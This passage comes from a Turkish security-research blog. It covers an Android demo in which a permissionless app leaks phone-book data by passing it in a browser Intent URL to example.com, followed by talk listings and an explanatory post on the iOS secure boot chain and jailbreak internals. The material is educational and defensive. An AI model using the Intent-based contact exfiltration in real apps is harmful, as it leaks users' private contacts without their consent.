<span style="color: #990000; font-family: Courier New, Courier, monospace;">Intent browserIntent = new Intent(Intent.ACTION_VIEW, Uri.parse("<b>http://www.example.com</b>"));</span></blockquote>
<div style="text-align: justify;">
<br />
Telefon rehberi datasının bir String ifadesi ile browser tarafından açılacak sayfa adresine parametre olarak verilmesi durumunda istenilen web sunucusuna web browser üzerinden istenilen parametre ile bir GET talebi gönderilebilmektedir.<br />
<br /></div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;"><span style="color: #990000;">Intent browserIntent = new Intent(Intent.ACTION_VIEW, Uri.parse("</span><b><span style="color: #990000;">http://www.example.com</span><span style="color: #0b5394;">?param=[Ali Veli:11122233344]</span></b><span style="color: #990000;">"));</span></span></blockquote>
<div style="text-align: justify;">
<div style="text-align: left;">
<br />
Bu işlemi yapmak için ise uygulamanın herhangi bir izin talep etmesine gerek yoktur. INTERNET izni, uygulama içerisinden internet bağlantısı kurulacağı zaman talep edilmektedir. Bu durumda ise Second uygulması içerisinden herhangi bir internet erişimi yapılmamaktadır. İnternet erişimini yapan web tarayıcısıdır ve web tarayıcısının INTERNET izni bulunmaktadır. Second uygulaması sadece web tarayıcısı uyguylamasına hangi web sayfasına bağlanacağını söylemektedir.</div>
</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Buradaki tek detay Second uygulamasının bu HTTP talebini göndermesi durumunda kendisinin kapanıp web tarayıcının açılıyor olmasıdır. Dolayısıyla böyle bir yöntem ile veri göndermeye çalışan uygulamanın bu davranışı kullanıcı tarafından şüphe ile karşılanacaktır. Ancak zararlı Second uygulaması o anda emeline ulaşmış ve kullanıcı telefon rehberini alarak internet üzerinden istediği sunucuya göndermiş olacaktır.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Yazıyı özetlemek gerekirse aynı developer tarafından geliştirilmiş (imzalanmış) biri zararsız ancak yetki sahibi; diğeri zararlı ama hiçbir izin talep etmeyen iki uygulama birlikte çalışarak zararlı bir işlem gerçekleştirebilmektedir. Zararlı uygulama hiçbir izin talep etmediği halde masum uygulamanın haklarını kullanabilmektedir. Signature seviyeli izin sayesinde ikinci uygulama hiçbir izin talep etmeden izin kullanabilmektedir. </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Konunun zararlı yanına ek olarak geliştiricilerin dikkat etmesi gereken noktalardan birisi de herhangi bir komponenti dışarıdan erişime açarken mutlaka bir izin ile koruma gerekliliğidir. Özellikle korumasız servisler ve korumasız content providerlar diğer uygulamalar tarafından yetkisizce kullanılabilmektedir.<br />
<br />
First ve Second uygulamaları aşağıdaki github repository'sinden indirilebilir.<br />
<a href="https://github.com/oguzhantopgul/Android-Permission-Usage-Without-Defining">https://github.com/oguzhantopgul/Android-Permission-Usage-Without-Defining</a></div>
Unknownnoreply@blogger.comtag:blogger.com,1999:blog-880810377140693460.post-26219121596667022832014-05-15T14:35:00.000+03:002014-05-15T14:36:27.658+03:00Nisan - Mayıs Ayı Etkinlikleri ve SunumlarNisan ve Mayıs ayı içerisinde 3 tane etkinlikte yapmış olduğum sunumları aşağıda bulabilirsiniz.<br />
<br />
1.) UNISIP Siber Güvenlik Sempozyumu: 29 Nisan 2014<br />
http://cyber.unisip.org<br />
Kocaeli Üniversitesi Bilgisayar Kulübü ve UNISIP işbirliğiyle düzenlenen konferanstaki "iOS Güvenlik Mekanizmaları" başlıklı bir sunumum<br />
<div style="text-align: center;">
<iframe allowfullscreen="" frameborder="0" height="356" marginheight="0" marginwidth="0" scrolling="no" src="http://www.slideshare.net/slideshow/embed_code/34717333" style="border-width: 1px 1px 0; border: 1px solid #CCC; margin-bottom: 5px; max-width: 100%;" width="427"> </iframe></div>
<br />
2.) Hacktrick'14 Güvenlik Konferansı: 9-10-11 Mayıs 2014<br />
http://hacktrick14.com<br />
Ankara Üniversitesi ve Octosec Bilgi Güvenliği ekibi tarafından düzenlenen konferanstaki "Geçmişten Günümüze Mobil Zararlı Yazılımlar" başlıklı sunumum.<br />
<div style="text-align: center;">
<iframe frameborder="0" height="400" marginheight="0" marginwidth="0" scrolling="no" src="http://www.slideshare.net/slideshow/embed_code/34717733" width="476"></iframe>
</div>
<br />
3.) Siber Güvenlik Konferansı 2014: 13 Mayıs 2014<br />
http://www.siberguvenlikkonferansi.org<br />
Siber Güvenlik Derneği tarafından düzenlenen konferanstaki "Android'de Parmak Kaldırmadan Konuşmak - İzinsiz Uygulamada İzin Kullanmak" başlıklı sunumum.<br />
<div style="text-align: center;">
<iframe frameborder="0" height="400" marginheight="0" marginwidth="0" scrolling="no" src="http://www.slideshare.net/slideshow/embed_code/34717172" width="476"></iframe>
</div>
<br />
<br />Unknownnoreply@blogger.comtag:blogger.com,1999:blog-880810377140693460.post-6259970145745311292014-02-06T12:34:00.000+02:002014-05-16T11:19:14.759+03:00BlackHat 2013 ve DEFCON 21 Sunumları<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-jpiIiJdnIY0/U3XJFN9I2zI/AAAAAAAABwQ/xo5aUD6DoE0/s1600/Blackhat2013.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-jpiIiJdnIY0/U3XJFN9I2zI/AAAAAAAABwQ/xo5aUD6DoE0/s1600/Blackhat2013.jpg" height="260" width="640" /></a></div>
<br />
Bu sene BLACKHAT 2013 ve DEFCON 21 katılma fırsatı yakalamış biri olarak tek kelimeyle şunu söyleyebilirim ki bu organizasyonlar gerçekten katılınmaya hak eden organizasyonlar.<br />
<br />
Öncelikle BLACKHAT'den bahsetmek gerekirse, gerçekten çok büyük ve kurumsal bir organizasyon. Bu sene yaklaşık 8000 kişinin katıldığı bu organizasyonda sunum yapmak ise aslında düşünülenden çok daha kolay. İlk başta herkes böyle bir konferansta sunum yapabilmenin çok zor bir süreç olduğunu düşünse de konferans sırasında katıldığımız sunumlardan en az yarısının vasat sunumlar olduğunu söylemek yanlış olmaz. Hatta kendi aramızdaki konuşmalarda bu işin gerçekten de gözde büyütüldüğü kadar zor olmadığı konusu herkesin ortak düşüncesiydi. Ancak tabii ki BlackHat'e damga vuran sunumlara baktığımızda minimum 6 - 8 aylık bir çalışmanın eseri olduklarını görebiliyoruz. Birazdan BlackHAT ve DEFCON'da beğendiğim sunumları aşağıda sizlerle paylaşacağım..<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-wA8K8CkBBlM/U3XJ-JEhaEI/AAAAAAAABwY/3RHjZGCy7zE/s1600/defcon.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-wA8K8CkBBlM/U3XJ-JEhaEI/AAAAAAAABwY/3RHjZGCy7zE/s1600/defcon.png" height="322" width="640" /></a></div>
<br />
DEFCON ise çok daha underground bir konferans. BlackHat'teki kurumsallıktan DEFCON'da eser yok. DEFCON, partileriyle, workshopları ile, CTF'leriyle hacker camiasının tam olarak dağıttığı bir zaman dilimi. Sunumlardaki kalite oranı yine BlackHat'tekine yakın bir oranda.<br />
<br />
<h3>
BlackHat 2013'te beğendiğim sunumlar listesi ilk 5:</h3>
<b>1.) Android One Root to Own Them All </b><br />
https://www.youtube.com/watch?v=ExX9_BN9XL8<br />
<br />
<b>2.) MACTANS: Injecting Malware into iOS Devices via Malicious Chargers </b>https://www.youtube.com/watch?v=BxaekRe5lDI<br />
<b><br /></b>
<b>3.) </b><b>Million Browser Botnet</b><br />
https://www.youtube.com/watch?v=ERJmkLxGRC0<br />
<b><br /></b>
<b>4.) SSL Gone in 30 Seconds </b><br />
https://www.youtube.com/watch?v=e3hOJfrSD9g<br />
<br />
<b>5.) I Can Hear You Now: Traffic Interception & Remote Mobile Phone Clonning with a Compromised CDMA Femtocell</b><br />
https://www.youtube.com/watch?v=3cUeo2sdT_w<br />
<br />
<h3>
DEFCON 21'de beğendiğim sunumlar listesi:</h3>
<b>1.) Adventures in Automative Networks and Control Units</b><br />
https://www.youtube.com/watch?v=MEYCU62yeYk<br />
<br />
<b>2.) The Secret Life of SIM Cards</b><br />
https://www.youtube.com/watch?v=31D94QOo2gY<br />
<br />
<br />
<br />Unknownnoreply@blogger.comtag:blogger.com,1999:blog-880810377140693460.post-75570026450486796492014-01-22T15:40:00.000+02:002014-04-28T15:04:14.310+03:00Secure Boot Chain, JailBreak Detayları ve iOS Güvenlik Testi için JailBreaking<h3>
Secure Boot Chain</h3>
<div style="text-align: justify;">
iOS Cihazların Boot işlemi sırasında birbirlerinin imzalarını kontrol eden bir zincir mevcuttur. Bu zincire Secure Boot Chain adı verilir.</div>
<br />
<div style="text-align: center;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-81M3OkUlVOU/UtegoiAwGGI/AAAAAAAABm8/hineOEiUQW0/s1600/SecureBootchain.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-81M3OkUlVOU/UtegoiAwGGI/AAAAAAAABm8/hineOEiUQW0/s1600/SecureBootchain.png" height="248" width="640" /></a></div>
</div>
<div style="text-align: justify;">
<b>Boot ROM</b> hardware seviyesinde üretim sırasında yerleştirilen bir ROM'dan ibarettir. İçeriği değiştirilemez. Boot ROM<b> Low Level Bootloader (LLB)</b>'yi çalıştırmadan önce imzasını kontrol eder. LLB, Apple tarafından imzalanmış bir kod ise onu çalıştırır. LLB, 1st stage bootloader olarak ayağa kaldırılır. Daha sonra LLB <b>iBoot</b>'un imzasını kontrol eder. Apple tarafından imzalanmış ise 2nd stage bootloader olarak iBoot'u ayağa kaldırır. iBoot benzer bir şekilde <b>iOS Kernel</b>'in imzasını kontrol eder. Kernelin imzası Apple tarafından imzalanmış ise iBoot iOS Kernel'i ayağa kaldırır. iOS Kernel ise çalıştırılmak istenen tüm <b>iOS App</b>'lerinin imzasını kontrol eder. Uygulamalar Apple onaylı bir sertifika tarafından imzalanmışsa çalıştırılır. İşte bütün bu mekanizmaya <b>Secure Boot Chain</b> adı verilir. Her adımın kendinden önceki adım tarafından imzasının kontrol edilmesine dayanan bir mekanizmadır. </div>
<br />
Herhangi bir kod parçasının iOS Kernel tarafından çalıştırılmasının koşulu, o kod parçasının Apple onaylı bir sertifika tarafından imzalanmış olmasıdır. Bu mekanizma <a href="http://www.oguzhantopgul.com/2013/08/ios-guvenlik-mekanizmalar.html">iOS Güvenlik Mekanizmaları</a> yazımızda açıklamış olduğumuz <b>Code Signing</b> mekanizmasıdır.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-z4Qc9twsLyU/Ut2M1ze6z7I/AAAAAAAABm8/BtABlyqf-QY/s1600/jailbreak_iPhone.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-z4Qc9twsLyU/Ut2M1ze6z7I/AAAAAAAABm8/BtABlyqf-QY/s1600/jailbreak_iPhone.jpg" height="332" width="400" /></a></div>
<h3>
JailBreak</h3>
<div style="text-align: center;">
</div>
<h4>
JailBreak Nedir?</h4>
<div style="text-align: justify;">
JailBreak kısaca iCihazlarda tüm dsik partitionlarına yazma ve çalıştırma hakkı vermek ve cihazdaki code signing kontrolünü devre dışı bırakmak olarak özetlenebilir. JailBreak sayesinde Apple onaylı bir sertifika tarafından imzalanmamış uygulamalar cihaza kurulabilir hale gelmektedir. JailBreak işlemi SIM unlock ile karıştırılmamalıdır. SIM unlcok işlemi <a href="http://www.oguzhantopgul.com/2014/01/guvenlik-arastrmalar-odakl-ios-temelleri.html">iOS Temelleri </a>yazımızda bahsettiğimiz üzere Baseband firmware'e yapılan bir saldırı türüdür.<br />
JailBreak'in en temelde 3 türü vardır. Bunları </div>
<div style="text-align: justify;">
<a href="http://www.oguzhantopgul.com/2013/04/tethered-untethered-semi-tethered.html">Tethered, Untethered, Semi-Tethered Jailbreak Nedir? Farkları Nelerdir? </a>yazımızda açıklamıştık.</div>
<h4>
JailBreak Teknik Ayrıntıları</h4>
JailBreak Exploit'lerini 3'e ayırabiliriz. <br />
<br />
<b>Boot Rom Level:</b><br />
<ul>
<li style="text-align: justify;">JailBreak açısından en güçlü exploitler Boot Rom Level exploitlerdir. </li>
<li style="text-align: justify;">Boot Rom iPhone'un hardware'inde (işlemcinin içinde) olduğundan burada bulunan bir açıklık software update'i ile çözülemez. Zaten bootrom işlemciye gömülüdür ve değiştirilemez. </li>
<li style="text-align: justify;">Boot Rom exploitlerinin gücü sadece hardware değişikliği olmadan düzeltilememesi değil aynı zamanda tüm boot zincirine müdahele edebilmeye olanak tanımasdır. Boot Rom exploitler ile boot zincirinde herhangi bir eleman değiştirilebilir veya patch'lenebilir. Hatta Kernel'e verilen boot argümanları bile değiştirebilir. </li>
<li style="text-align: justify;">Boot Rom exploitler boot zincirinin çok öncelerinde gerçekleştiğinden, payload'un direkt olarak hardware'e erişimi vardır. </li>
</ul>
<b>iBoot Level:</b><br />
<ul>
<li style="text-align: justify;">iBoot, Apple cihazların second stage bootloader'ıdır. </li>
<li style="text-align: justify;">iBoot exploitlerinin Boot Rom exploitlerinden en büyük farkı iBoot exploitlerinin software updateleri ile çözülebilir olmasıdır. iBoot yine de boot chain'in ilk kısımlarıda bulunduğundan yine Boot Rom exploitleri gibi boot zincirine müdahele olanağı tanır. Kernel'e gönderilen boot argümanlarında değişiklik yapılmasına sebep olabilir.</li>
</ul>
<b>Userland Level:</b><br />
<div style="text-align: justify;">
<ul>
<li>Userland, kernel çalıştıktan sonra çalıştırılan koddur. </li>
<li>Userland exploitleri software tabanlıdır. Bu yüzden software güncellemeleri ile çözülebilirler. </li>
<li>Userland exploitleri ile boot chian'e müdahele edilemez. </li>
<li>Userland process'ler root hakkıyla (system processleri gibi) veya daha düşük mobile kullanıcısı hakkıyla da çalışabilir. Ancak her halükarda Jailbreak için 2 adet exploite ihtiyaç vardır. Bu exploitlerden bir tanesi isteğe bağlı kodu çalıştırmak, diğer ise kernel tabanlı güvenlik önlemlerini atlatmak ve hak yükseltmek için gereklidir. </li>
<li>Code signing'i devre dışı bırakmak için eskiden exploitin root hakları ile çalışması yeterli olmaktadyı ancak yeni sistemlerde kernel memory corruption veya kernel code execution gerekli oluyor. </li>
<li>Userland level exploitler Boot Rom ve iBoot Level exploitlere göre daha güçsüz exploitlerdir. Kernel seviyesinde kod çalıştırabilme imkanı olsa bile hardware seviyesine inmek mümkün olamamaktadır. </li>
</ul>
</div>
<h4>
JailBreak Adımları</h4>
<u>File System</u><br />
<div style="text-align: justify;">
iPhone diski iki partition'dan oluşur:</div>
<div style="text-align: justify;">
İlk partition yaklaşık 1GB'lık system (root) partitionudur. Bu partition işletim sistemi ve tüm temel sistem uygulamaların bulunduğu kısımdır. Bu partition default olarak read-only olarak mount edilir. Yaklaşık olarak 200MB'lık alanı boştur.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Geriye kalan tüm storage alanı ise user veya media alanı olarak nitelendirilir. Bu alan /private/var/ olarak mount edilir. Uygulamalardan müzik dosyalarına kadar tüm kullanıcı datalarının kaydedildiği kısım bu partitiondur.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Bu partitionlar <b>/etc/fstab</b> dosyasında görülebilir. (<b>/etc/fstab</b> dosyası <b>/private/etc/fstab</b>'a işaret eder.)</div>
<blockquote class="tr_bq">
<span style="color: #073763;">iPhone:~ root# cat /etc/fstab</span><br />
<span style="color: #073763;">/dev/disk0s1s1 / hfs </span><b><span style="color: purple;">ro</span></b><span style="color: #073763;"> 0 1</span><br />
<span style="color: #073763;">/dev/disk0s1s2 /private/var hfs </span><span style="color: purple;"><b>rw</b>, <b>nosuid</b>,<b>nodev</b></span><span style="color: #073763;"> 0 2</span></blockquote>
<div style="text-align: justify;">
JailBreak yapılmamış standart bir cihazdaki file system yukarıda görüldüğü gibidir. Dikkat edilirse ilk partition <b>read-only (ro) </b>olarak mount edilmiştir. User partitionunda is <b>nosuid</b> ve <b>nodev</b> flagleri bulunmaktadır.</div>
<br />
<div style="text-align: justify;">
JailBreak yapılmış bir cihazdaki en büyük farklılık ise system partitionunun <b>read-write (rw)</b> şekilde mount edilmesidir. Ayrıca user partitionundaki <b>nosuid</b> ve <b>nodev</b> flagleri de kaldırılır.</div>
<blockquote class="tr_bq">
<span style="color: #073763;">iPhone:~ root# cat /etc/fstab</span><br />
<span style="color: #073763;">/dev/disk0s1s1 / hfs </span><b><span style="color: purple;">rw</span></b><span style="color: #073763;"> 0 1</span><br />
<span style="color: #073763;">/dev/disk0s1s2 /private/var hfs </span><b><span style="color: purple;">rw</span></b><span style="color: #073763;"> 0 2</span></blockquote>
iOS7 ile birlkte gelen bir güvenlik özelliği sayesinde artık root partitionu rw olarak mount edilememektedir.<br />
<br />
<u>AFC Servisinin Patchlenmesi</u><br />
<div style="text-align: justify;">
Normalde iTunes'un tüm diskin altında yazmak okuma yetkisi yoktur. iTunes <b>/private/var/mobile/Media/</b> dizini altına okuma-yazma yetkisine sahiptir (Jailed'dir aslında). Bu lokasyonlara ulaşmak için seri port üzerinden <b>Apple File Connection (AFC) </b>protokolünü kullanır. AFC protokolü <b>afcd</b> daemonu sayesinde dosya sisteminde okuma-yazma yapar. JailBreak, işte bu <b>/private/var/mobile/Media/ </b>dizini dışında <u>tüm diske</u> AFC protokolüne <u>yazma-okuma</u> yetkisi vermek için kullanılır. </div>
<br />
<div style="text-align: justify;">
AFC ile tüm dosya sistemine erişebilmek için <b>AFC2</b> adında bir başka AFC servisi daha oluşturulur. AFC2 servisinin <b>lockdownd</b> daemonunun çalıştırdığı servisler listesine eklenmesi ile AFC patch işlemi gerçekleştirilir. <b>lockdownd</b> daemonu, <b>launchd</b> daemonu tarafından çalıştırılan ve aktivasyon, backup, crash report ve senkronizasyon gibi kritik işlemleri yapan bir daemondur. <b>lockdownd</b> tarafından çalıştırılacak servisler <b>/System/Library/Lockdown/</b> dizini altındaki <b>Services.plist </b>property list dosyasında bulunur. Bu dosyaya AFC2 servisi <b><span style="color: purple;">/</span></b> dizini altında erişecek şekilde eklendiğinde <b><span style="color: purple;">/</span></b> dizini altına erişim sağlanmış olur. Çünkü lockdownd daeomonu <b>root</b> haklarıyla çalışan bir daemondur. </div>
<br />
<div style="text-align: justify;">
JailBreak yapılmış bir cihazda <b>/System/Library/Lockdown/Services.plist</b> dosyası plutil aracıyla incelendiğinde <b>com.apple.afc2</b> dizisinin eklendiği görülebilir.</div>
<br />
<blockquote class="tr_bq">
....<br />
<key><b><span style="color: #073763;">com.apple.afc</span></b></key><br />
<dict><br />
<key>AllowUnactivatedService</key><br />
<true/><br />
<key>Label</key><br />
<string><b><span style="color: #073763;">com.apple.afc</span></b></string><br />
<key>ProgramArguments</key><br />
<array><br />
<string><b><span style="color: #073763;">/usr/libexec/afcd</span></b></string><br />
<string>--lockdown</string><br />
<string>-d</string><br />
<string><b><span style="color: #073763;">/var/mobile/Media</span></b></string><br />
<string><span style="color: purple;">-</span><b><span style="color: #073763;">u</span></b></string><br />
<string><b><span style="color: #073763;">mobile</span></b></string><br />
</array><br />
</dict><br />
<key><b><span style="color: purple;">com.apple.afc2</span></b></key><br />
<dict><br />
<key>AllowUnactivatedService</key><br />
<true/><br />
<key>Label</key><br />
<string><b><span style="color: purple;">com.apple.afc2</span></b></string><br />
<key>ProgramArguments</key><br />
<array><br />
<string><b><span style="color: purple;">/usr/libexec/afcd</span></b></string><br />
<string>--lockdown</string><br />
<string>-d</string><br />
<string><b><span style="color: purple;">/</span></b></string><br />
</array><br />
</dict><br />
....</blockquote>
<div style="text-align: justify;">
Standart olarak AFC protokolü backup işlemi sırasında <b>/var/mobile/Media</b> dizini altına erişmektedir. Ancak <b>AFC2</b>'nin eriştiği dizin olarak yukarıda <b><span style="color: purple;">/</span></b> dizini görülmektedir. Ayrıca <b>AFC</b> içerisinde <b>-u</b> parametres ile birlikte <b>mobile</b> kullanıcısının verildiği, böylece <b>lockdownd</b>'nin <b>afcd</b> daemonunu çalıştırırken <b>mobile</b> kullanıcısına düşeceği; ancak <b>AFC2</b> içerisinde bir kullanıcı verilmediği yani <b>lockdownd'</b>nin <b>afcd</b> daemonunu <b>root</b> kullanıcısı ile çalıştırılacağı görülmektedir.</div>
<div style="text-align: justify;">
<blockquote class="tr_bq">
<span style="color: #4c1130;"><b>Ara Not:</b> </span>Bu durum aslında JailBreak'li telefonlarda çok dikkat edilmeyen ancak kritik bir probleme işaret etmektedir. JailBreak yapılmış herhangi bir iCihaz, herhangi bir bilgisayara bağlandığında o bilgisayardaki zararlı bir yazılım <b>AFC2</b> protokolü sayesinde iCihaz'daki tüm dosya sistemine yazma hakkına sahip olacaktır. Özellikle bu durum cihazda device passcode olmadığı durumlarda otomatik olarak gerçekleştirilebilir. Ancak her halükarda cihazın device lock parolası girildiği anda <b>AFC2</b> protokolü üzerinden tüm dosya sistemine erişim hakkı elde edilebilecektir. <b>afcd</b> daemonunun da <b>root</b> haklarıyla çalıştığı göz önüne alındığında sandbox koruması da devre dışı kalacak ve tüm uygulamalara ait kullanıcı verileri ve kaynaklar erişilebilir halde olacaktır. </blockquote>
</div>
<u>Temel Araçların Yüklenmesi</u><br />
<div style="text-align: justify;">
iCihaz'lar bir Unix shell'e sahip değildir. Bu bağlamda <b>/bin</b> ve <b>/usr/bin</b> dizinlerinin içerisinde çok fazla executable bulunmamaktadır. JailBreak ile birlikte bu dizinlerin altına <b>mv</b>, <b>cp</b>, <b>plutil</b>, <b>tar</b> gibi çok temel bazı binary'ler kopyalanır. Bu araçlar hem JailBreak işlemi sırasında hem de JailBreak sonrasında kullanılır. Aşağıda JailBreak işlemi ile kopyalanan bazı binary'ler bulunmaktadır.</div>
<blockquote class="tr_bq">
/bin/mv<br />
/bin/cp<br />
/bin/tar<br />
/bin/gzip<br />
/bin/gunzip<br />
/usr/sbin/nvram<br />
/usr/bin/codesign_allocate<br />
/usr/bin/ldid<br />
/usr/bin/plutil</blockquote>
<u>Stashing</u><br />
<div style="text-align: justify;">
<a href="http://www.oguzhantopgul.com/2014/01/guvenlik-arastrmalar-odakl-ios-temelleri.html">iOS Temelleri </a>yazımızda belirttiğimiz üzere standart App Store uygulamaları cihaza yüklendiğinde user partitiondaki <b>Applications</b> dizinine kurulur (/private/var/mobile/Applications). Ancak JailBreak yapılmış cihazlarda Apple App Store haricinde Cydia adı verilen alternatif app store bulunur. Apple onaylı bir sertifika tarafından imzalanmamış uygulamaların bulunduğu bu store, JailBreak yapmanın en önemli sebeplerinden biridir.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Ancak Cydia, standart uygulamalar gibi user partition'a değil işletim sistemine ait uygulamaların bulunduğu system partitiona'a kurulur. Buradaki en önemli kısıt ise system partition'un boyutunun 1 - 1,5 GB civarında olmasıdır. Cydia üzerinden kurulacak tüm uygulamaların system partitiona kurulacağı göz önüne alındığında bu alan çok kısa bir süre sonra dolacaktır. </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Bunun önüne geçebilmek için <b>stashing</b> işlemi yapılır. Stashing işlemi ile user partition'da <b>/var/stash </b>dizini altında bir alan açılır ve system partition'dan bu dizin altına sembolik link verilir. Bu sayede system partition'un alanı tüketilmemiş olur. Cydia'dan indirilen uygulamalar, zil sesleri, duvar kağıtları vs <b>/var/stash</b> dizini altında farklı dizinler altında tutulur.</div>
<br />
Bu noktada JailBreak detaylarını sonlandırıp güvenlik testleri gerçekleştirebilmek için JailBreak işleminin nasıl yapılacağından bahsetmek istiyorum. <br />
<h3>
Güvenlik Testleri için JailBreaking</h3>
<div style="text-align: justify;">
An itibariyle en güncel iOS sürümü iOS 7.0.4 için untethered JailBreak <a href="http://evasi0n.com/">evasi0n 1.0.4</a> versiyonudur. <a href="http://evasi0n.com/">evasi0n.com </a>üzerinden indirilen JailBreak executable'ı sayesinde çok kolay bir şekilde JailBreak gerçekleştirilebilir.</div>
<div style="text-align: justify;">
<blockquote class="tr_bq">
<span style="color: #4c1130;"><b>Önemli Not:</b></span> JailBreak işlemine başlamadan önce bu işlemler ile birlikte cihazın <u>garanti kapsamından çıktığını</u> ve cihazda karşılaşılabilecek herhangi bir problemden dolayı <u>hiçbir sorumluluk kabul etmediğimi </u>belirtmek istiyorum.</blockquote>
</div>
<div style="text-align: justify;">
JailBreak yapmadan önce yapılması gereken bir diğer önemli adım da cihazın Backup'ının alınmasıdır. JailBreak sonrasında tüm verilerin kaybolması karşılaşılan bir durumdur.</div>
<br />
<div style="text-align: justify;">
Cihaz yedeği alındıktan sonra cihazın iOS versiyonuna göre uygun JailBreak ilgili adresten indirilir. iOS sürümüne uygun JailBreak'i öğrenmek için <a href="http://en.wikipedia.org/wiki/IOS_jailbreaking">Wikipedia JailBreak</a> sayfasındaki tablo kullanılabilir. Benim JailBreak yapacağım cihaz iOS 7.0.4 sürümünde olduğundan evasi0n 1.0.4 JailBreak sürümü üzerinden giderek süreci anltacağım. </div>
<br />
1.) <a href="http://evasi0n.com/">evasi0n.com </a>üzerinden JailBreak executable'ı indirilir.<br />
2.) iCihaz bilgisayara bağlanır.<br />
3.) Evasi0n executable'ı çalıştırılır.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-WhOorZEPg0c/Ut2K8evaDYI/AAAAAAAABm8/dLjygtZLk5c/s1600/evasi0n_7_-_1_0_4-2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-WhOorZEPg0c/Ut2K8evaDYI/AAAAAAAABm8/dLjygtZLk5c/s1600/evasi0n_7_-_1_0_4-2.png" height="149" width="320" /></a></div>
<div style="text-align: center;">
</div>
4.) Açılan ekranda JailBreak butonuna basılır.<br />
<div style="text-align: center;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-vkrKBJRGN34/Ut2LB6GGWCI/AAAAAAAABm8/-P7FqIY7xik/s1600/evasi0n7-howto-iphone-1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-vkrKBJRGN34/Ut2LB6GGWCI/AAAAAAAABm8/-P7FqIY7xik/s1600/evasi0n7-howto-iphone-1.jpg" height="320" width="400" /></a></div>
</div>
<div style="text-align: justify;">
5.) Kısa bir süre bekledikten sonra ekranda "To continue, please unlock your device and tap the new 'evasi0n 7' icon" yazısı çıkacaktır. Cihazın kilidini açarak ekranda belirmiş olan Evasi0n 7 ikonuna basılır. </div>
<div style="text-align: center;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-gVFVIZSZOVg/Ut2LCNOXByI/AAAAAAAABm8/TMjnNHaFboI/s1600/evasi0n7-howto-iphone-21.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-gVFVIZSZOVg/Ut2LCNOXByI/AAAAAAAABm8/TMjnNHaFboI/s1600/evasi0n7-howto-iphone-21.jpg" height="320" width="400" /></a> </div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-Z8NmAyhzOJ0/Ut2LULjenuI/AAAAAAAABm8/TA_O3odEdA0/s1600/evasion-iOS-7-jailbreak-icon.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-Z8NmAyhzOJ0/Ut2LULjenuI/AAAAAAAABm8/TA_O3odEdA0/s1600/evasion-iOS-7-jailbreak-icon.jpg" height="320" width="185" /></a></div>
</div>
<div style="text-align: justify;">
6.) Bu işlemden sonra cihaz yeniden başlayacaktır. Bu işlemler sırasında birkaç kere cihaz kilidini açmanız istenebilir. </div>
<br />
<div style="text-align: justify;">
7.) En son olarak "Done" mesajı ekranda görüldüğünde Exit butonuna basarak JailBreak tamamlanır. </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
iOS cihazımız artık güvenlik testleri için hazır hale geldi. Bir sonraki yazımızda testler için gerekli olan araçların JailBreak yapılmış iCihazımıza yüklenmesi ve test ortmının hazırlanması konusuna değinmeyi planlıyorum. JailBreak işleminde kullanılan exploit'lerin detaylarına yine bir başka yazıda değineceğim.</div>
<div style="text-align: justify;">
Güvenli günler...</div>
Unknownnoreply@blogger.comtag:blogger.com,1999:blog-880810377140693460.post-79197933507438118612014-01-15T15:26:00.000+02:002014-01-27T16:08:53.978+02:00Güvenlik Araştırmaları Odaklı iOS Temelleri - II<div style="text-align: justify;">
Bir önceki <a href="http://www.oguzhantopgul.com/2014/01/guvenlik-arastrmalar-odakl-ios-temelleri.html">yazımızda</a> iOS işletim sistemi katmanları, iCihaz'lardaki işlemciler, depolama partitionları ve kullanıcılar hakında temel bilgileri içeren bir giriş yapmıştık. Bu yazıda ise iOS uygulama paketi içeriği, Mach-O dosya formatı, iOS App İmzalama ve Yükleme, Backup konularına değinmek istiyorum.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-HBcM0xG_c-I/UuZoaHIb4dI/AAAAAAAABrE/0-00CnlP1pA/s1600/Apple-App-Store-apps.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-HBcM0xG_c-I/UuZoaHIb4dI/AAAAAAAABrE/0-00CnlP1pA/s1600/Apple-App-Store-apps.jpg" height="265" width="400" /></a></div>
</div>
<h3 style="text-align: justify;">
iOS App Paketi, İmzalama ve Yükleme</h3>
<div style="text-align: justify;">
